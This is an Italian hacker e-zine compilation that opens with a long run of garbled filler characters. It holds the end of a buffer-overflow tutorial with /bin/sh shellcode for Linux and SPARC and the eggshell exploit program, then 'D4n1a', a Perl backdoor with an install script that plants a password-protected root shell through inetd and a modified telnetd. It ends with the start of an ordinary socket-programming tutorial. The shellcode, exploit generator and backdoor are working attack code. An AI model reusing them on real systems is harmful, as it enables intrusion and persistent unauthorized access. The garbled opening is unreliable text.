"°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿° ¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿ °¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿° ¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿ °¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿÿ¿°¤ÿ¿ °¤ÿ¿°¤ÿ¿°¤ Warning: some arguments in previous message were lost $ ------------------------------------------------------------------------------ Al primo tentativo! Ha certamente aumentato le nostre possibilità. Trovare Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~~~ I buffer overflows sono il risultato dell'inserimento di più informazioni dello gestibile in un buffer. Poichè il C non ha alcun controllo d'inserimento, gli oveflows spesso si manifestano quando si scrivono degli array. La libreria C standard fornisce un numero di funzioni per copiare o concatenare stringhe, che vengono eseguite senza controllo. Ci sono: strcat(), strcpy(), sprintf() e vsprintf(). Queste funzioni oprano su stringhe non nulle, e non controllano gli overflow quando vanno a riempire le stringhe. gets() è una funzione che legge una linea da stdin in un buffer finchè non trova una nuova linea o un EOF. Non esegue controlli per i buffer overflows. La famiglia di funzioni scanf() può creare problemi se stai inserendo una sequenza di caratteri non nulli (%s), o inserendo una sequenza non vuota di caratteri da un set specifico (%[]), e l'array preso in considerazione non è abbastanza lungo per accettare l'intera sequenza di caratteri, e non hai stabilito la lunghezza massima della stringa. Se l'obiettivo di ognuna di queste funzioni è un buffer di lunghezza statica, e l'altro argomento è qualcosa di derivato dall'input dell'utente c'è buona possibilità che è presente un buffer overflow. Un altro costrutto di programmazione solito che troviamo è l'uso di un loop while per leggere un carattere nel buffer dall'stdin o alcuni file fino alla fine della linea, la fine del file, o altri delimitatori. Questo tipo di costrutto usa di solito una di queste funzioni: getc(), fgetc() o getchar(). Se non ci sono controlli espliciti per overflows nel loop while, tali programmi sono semplicemente exploitabili. Infine, grep(1) è tuo amico. I codici per sistemi operativi gratuiti e le loro utility sono disponibili. Questo fatto diventa abbastanza interessante una volta che hai realizzato che le utility di molti sistemi operativi commerciali sono state derivato dagli stesso sorgenti di quelli gratuiti. Usa il sorgente ragazzo. Appendice A - Shellcode per Differenti Sistemi Operativi/Architetture ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ i386/Linux ------------------------------------------------------------------------------ jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" ------------------------------------------------------------------------------ SPARC/Solaris ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 ------------------------------------------------------------------------------ SPARC/SunOS ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 ------------------------------------------------------------------------------ Appendice B - Programma di Buffer Overflow Generico ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode.h ------------------------------------------------------------------------------ #if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif ------------------------------------------------------------------------------ eggshell.c ------------------------------------------------------------------------------ /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include #include #include "shellcode.h" #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a ] [-b ] [-e ] [-o ]\n"); } ------------------------------------------------------------------------------ /===========================::=============================::=================/ / /D4n1a / SPYRO / /===========================::=============================::=================/ @*************************************************@ @ D4n1a @ @ A simple backdoor for Linux @ @ @ @ Coded by SPYRO @ @*************************************************@ Questo programma è stato creato x solo scopo informativo, se farete danni sul vostro sistema o verso terzi, io non mi assumo nessuna responsabilità! D4n1a è una semplicissima backdoor scritta in perl, che a differenza di altre, funziona implementandola al demone telnetd. Prima di tutto rendere eseguibile lo script in bash di nome: install Basta dare il seguente comando: chmod +x install Poi eseguiamolo: ./install Dopo,aprire esadecimalmente la copia del telnetd e fare una piccola modifica. Tutto questo tramite l'editor vi. vi /usr/sbin/in.hylafaxd Adesso dobbiamo trovare ed editare la stringa /bin/login in /bin/logon Appena si aprirà il demone esadecimalmente,scirviamo per 2 volte di seguito il comando: /login e ci troveremo davanti la stringa: /bin/login.d:a:e o una cosa molto simile. Tramite la barra spaziatrice ci spostiamo di carattere in carattere fino ad arrivare alla lettere i della parola login. Dopo che ci troviamo con il curose davati al carattere i,premiamo s e poi o . In questo modo sostituiremo la i con la o. Per uscire salvando premiamo il tasto Esc e scriviamo: :wq (anche i due punti!) Bene,adesso la nostra backdoor è pronta. Telnettiamo su la porta 4559(se avete lasciato il demone hylafaxd)e immettiamo la password. -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- Piccole note: 1)Se nel file /etc/services non viene citata la porta di hylafax,decommentare la strinaga: # echo "hylafax 4559/tcp" >> services togliendo il carattere # all'inizio della riga. Così il programma lo metterà al posto vostro. 2)Per cambiare la password della back,cabiare la stringa: $pass1 = "spyro\n"; all'interno del file di nome: dania Quando cambiate la pass,non cancellate \n ! 3)Se dovete adattare la back per una box linux particolare,non ci sono problemi,siete liberi di modificare il codice! dania -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- #!/usr/bin/perl print "Immettere la password\n"; $pass = ; $pass1 = "spyro\n"; if ($pass eq $pass1) { print ' @*************************************************@', "\n"; print ' @ D4n1a @', "\n"; print ' @ A simple backdoor for Linux @', "\n"; print ' @ @', "\n"; print ' @ Coded by SPYRO @', "\n"; print ' @*************************************************@', "\n"; system '/bin/bash -i'; } else { system 'echo Lam3rz g0 oUt'; exit 0; } install -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- #!/bin/sh echo " @*************************************************@" echo " @ D4n1a @" echo " @ A simple backdoor for Linux @" echo " @ @" echo " @ Coded by SPYRO @" echo " @*************************************************@" echo "" echo "Preparazione in corso....." cp dania /bin/logon cp /usr/sbin/in.telnetd /usr/sbin/in.hylafaxd cd /etc echo "hylafax stream tcp nowait root /usr/sbin/tcpd in.hylafaxd" >> $ #echo "hylafax 4559/tcp" >> services sleep 2 echo "Installazione in corso....." chmod +x /bin/logon killall -HUP inetd sleep 2 echo "Installazione in corso....." chmod +x /bin/logon killall -HUP inetd sleep 2 echo "Installazione conclusa" sleep 1 echo "Adesso modificare in.hylafaxd come spiegato nel file README" -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- Ciao da SPYRO http://www.spyrohack.com | http://utenti.tripod.it/spyrohack spyro2600@yahoo.it /===========================::=============================::=================/ / /Programmazione di base con socket / BracaMan / /===========================::=============================::=================/ Programmazione di Base con Socket In Unix Per Newbies <=====================================================> Written by : BracaMan E-mail : BracaMan@clix.pt ICQ : 41476410 URL : http://www.BracaMan.net Per altri tutorial: http://code.box.sk http://blacksun.box.sk Per commenti, errori o solo per dire ciao: INDICE ======================================= 1. Introduzione 2. Tipi Differenti di Sockets 3. Strutture 4. Conversioni 5. Indirizzi IP 6. Funzioni Importanti 6.1. socket() 6.2. bind() 6.3. connect() 6.4. listen() 6.5. accept() 6.6. send() 6.7. recv() 6.8. sendto() 6.9. recvfrom() 6.10. close() 6.11. shutdown() 6.12. gethostname() 7. Alcune Parole Riguardo Al DNS 8. Un Esempio Di Server Stream 9. Un Esempio Di Client Stream 10. Ultime Parole 11. Copyright 1. INTRODUZIONE ======================================= Stai cercando di imparare la programmazione delle socket in C? O pensi che sia roba dura? Allora devi leggere questi appunti per avere idee e concetti di base e cominciare lavorare con le sockets. Non aspettarti di diventare un esperto programmatore di socket dopo aver letto questo documento. Lo diventerai solo con molta pratica e molte letture. 2. TIPI DIFFERENTI DI INTERNET SOCKETS ======================================= In primo luogo si deve spiegare quello che è un socket. Semplicemente un socket è un modo per parlare con altro computer. Più precisamente, è una modalità di parlare con altro computer usando i descrittori di file standard di Unix. In Unix, tutte le azioni di I/O sono fatte attraverso la scrittura a la lettura di un descrittore di file. Un descrittore di file è solo un numero intero associato a un file aperto ed esso può essere una connessione ad una rete, un terminale, o qualcos'altro Riguardo ai diversi titpi di socket internet, ce ne sono molti ma se ne descriveranno solo due di questi: gli Stream Sockets (SOCK_STREAM) e i Datagram Sockets (SOCK_DGRAM). Le differenze fra i due tipi sono le seguenti: Stream Sockets - sono libere da errori; se si spedisce attaverso le stream socket tre elementi "A,B,C", questi arriveranno nello stesso ordine - "A,B,C"; queste socket utilizzano il protocollo TCP ("Transmission Control Protocol"), il quale assicura l'ordine degli elementi spediti. Datagram Sockets - queste socket utilizzano il protocollo UDP ("User Datagram Protocol"); sono senza connessione perché non necessitano di avere una connesione aperta come nelle Stream Sockets. Nel pacchetto c'è l'informazione della destinazione Potrebbe essere detto molto di più riguardo a questi due tipi di socket, ma è sufficiente per avere i concetti di base delle socket. Comprendere cos'è una socket e questi due tipi socket internet è un buon punto di partenza, ma è necessario sapere come lavorare con loro. Si imparerà questo nelle prossime sezioni. 3. STRUTTURE ======================================= lo scopo di questa sezione non è di insegnare le strutture ma dire come sono usate nella programmazione delle socket in C. Se non sa cosìè una struttura, il consiglio è leggere un manuale di C e impararlo. Per il momento, si lasci dire che una struttura è un tipo di dato contenente altri tipi di dato, i quali sono raggruppati insieme in un singolo tipo definito dall'utente. Le strutture sono utilizzate nella programmazione delle socket per mantenere le informazioni dell'indirizzo. La prima struttura è struct sockaddr che tiene le informazioni riguardo al socket struct sockaddr { unsigned short sa_family; /* famiglia di indirizzi */ char sa_data[14]; /* 14 bytes of protocol address */ }; Ma esiste un'altra struttura (struct sockaddr_in) che aiuta a indicare gli elementi del socket struct sockaddr_in { short int sin_family; /* famiglia di indirizzi*/ unsigned short int sin_port; /* porta */ struct in_addr sin_addr; /* indirizzo */ unsigned char sin_zero[8]; /* stessa dimensione as struct sockaddr (byte non utilizzati)*/ }; Nota: gli elementi di sin_zero sono posti tutti a zero con memset() o bzero() (Vedere esempio successivo). La struttura seguente non è molto usata ma è definita come una unione (union). Come si vede in entrambi gli esempi (Client Stream e Server Stream), quando si dichiara per esempio "cliente" per essere del tipo sockaddr_in allora si fa client.sin_addr = (...) Ad ogni modo, la definizione della struttura è la seguente: struct in_addr { unsigned long s_addr; }; Ora, è possibile parlare meglio della struttura hostent. Nell'esempio del Client Stream, si nota l'uso di questa struttura. Questa struttura è usata per ottenere informazioni riguardo l'host remoto. La struttura è la seguente: struct hostent { char *h_name; /* nome ufficiale dell'host */ char **h_aliases; /* lista degli alias */ int h_addrtype; /* tipo di idnririzzo dell'host */ int h_length; /* lunghezza (in byte) dell'indirizzo */ char **h_addr_list; /* lista di indirizzi del name server */ #define h_addr h_addr_list[0] /* indirizzo del buffer di specifica del numero ip */ }; Questa struttura è definita nel file header netdb.h All'inizio queste strutture confonderanno molto, ma dopo aver cominciato a scrivere qualche linea, e dopo aver visto gli esempi, sarà più facile capirli. Vedere come usarli controllando gli esempi (sezione 8 e 9). 4. CONVERSIONI ======================================= Ci sono due tipi di ordinamento del byte: il byte più significativo e il byte meno significativo. Questo primo è chiamato "Network Byte Order" ed alcune macchine immagazzinano internamente i loro numeri col Network Byte Order. Ci sono due tipi che si possono convertire: short e long. Si immagini che si vuole convertire un long da Host Byte Order a Network Byte Order. Cosa si potrebbe fare? C'è una funzione chiamata htonl() che lo convertirebbe. Le seguenti funzioni sono utilizzate per convertire: htons() -> "Host to Network Short" htonl() -> "Host to Network Long" ntohs() -> "Network to Host Short" ntohl() -> "Network to Host Long" Si deve pensare perché si necessita di questo. Allora, quando si finirà la lettura di questo documento, tutto sembrerà più facile. Tutto quello ci cui si ha bisogno è di leggere e fare molta pratica. Una cosa importante, è che sin_addr e sin_port (dalla struttura sockaddr_in) deve essere Network Byte Order (si vedranno negli esempi le funzioni qui descritte per convertire e si comincerà a capire). 5. INDIRIZZI IP ======================================= In C, ci sono alcune funzioni che aiuteranno a manipolare gli indirizzi IP. Si Parlerà di funzioni inet_addr() e inet_ntoa(). inet_addr() converte un indirizzo IP in un unsigned long. Ad esempio: (...) dest.sin_addr.s_addr = inet_addr("195.65.36.12"); (...) /* Si ricordi che questo è possibile se si ha una struct dest del tipo sockaddr_in */ inet_ntoa() converte stringhe di indirizzi IP in long. Ad esempio: (...) char *IP; ip = inet_ntoa(dest.sin_addr); printf("Address is: %s\n", ip); (...) Si ricordi che inet_addr() ritorna l'indirizzo in Network Byte Order, per cui non è necessaria la chiamata htonl(). 6. FUNZIONI IMPORTANTI ======================================= In questa sezione si metterà la sintassi della funzione, il file header che si deve includere per chiamarla, e piccoli commenti. Oltre alle funzioni menzionate in questo documento, ci sono più, ma si è deciso di mettere solo queste. Forse si metteranno in una versione futura di questo documento. Per vedere degli esempi di queste funzioni, si possono controllare i codici sorgenti del client stream e del server stream (Sezioni 8 e 9). 6.1. socket() ============= #include #include int socket(int domain, int type, int protocol); Gli argomenti sono i seguenti: domain -> si può mettere "AF_INET" (mettere AF_INET per usare il protocollo internet ARPA) o "AF_UNIX" si vogliono creare dei sockets per comunicazione interna. Questi due sono i più usati, ma ce ne sono altri; in questo documento si menzioneranno solo questi due. type -> qui si mette il tipo di socket che si vuole (Stream o Datagram). Se si vuole un Socket Stream il tipo deve essere SOCK_STREAM. Se si vuole un Socket Datagram il tipo deve essere SOCK_DGRAM protocol -> specifica il protocollo di comunicazione per il socket la funzione socket() ritorna un intero che è il descrittore del socket stesso, che si può utilizzare nelle chiamate di sistema successive. Ritorna -1 in caso di errore (questo è utilizzato nel controllare gli errori nelle routine). 6.2. bind() =========== #include #include int bind(int fd, struct sockaddr *my_addr, int addrlen); Gli argomenti sono i seguenti: fd -> è il descrittore di file del socket, restituito dalla chiamata socket() my_addr -> è un puntatore a struct sockaddr addrlen -> è il valore derivato da sizeof(struct sockaddr) bind() è usato per assegnare un indirizzo IP al socket chiamata (viene utilizzato con la chiamata listen()); serve per poter associare un socket con una porta (sulla macchina dove si è aperto il socket). In caso di errore ritorna -1. Si può mettere l'IP automaticamente: server.sin_port = 0; /* bind() sceglierà una porta a caso */ server.sin_addr.s_addr = INADDR_ANY; /* mette l'IP del server automaticamente */ Un importante aspetto riguardo le porte e la bind() è che tutte le porte prima della 1024 sono riservate. Si può settare una porta dopo la 1024 fino alla 65535 (ovviamente che non sia utilizzata da un altro programma). 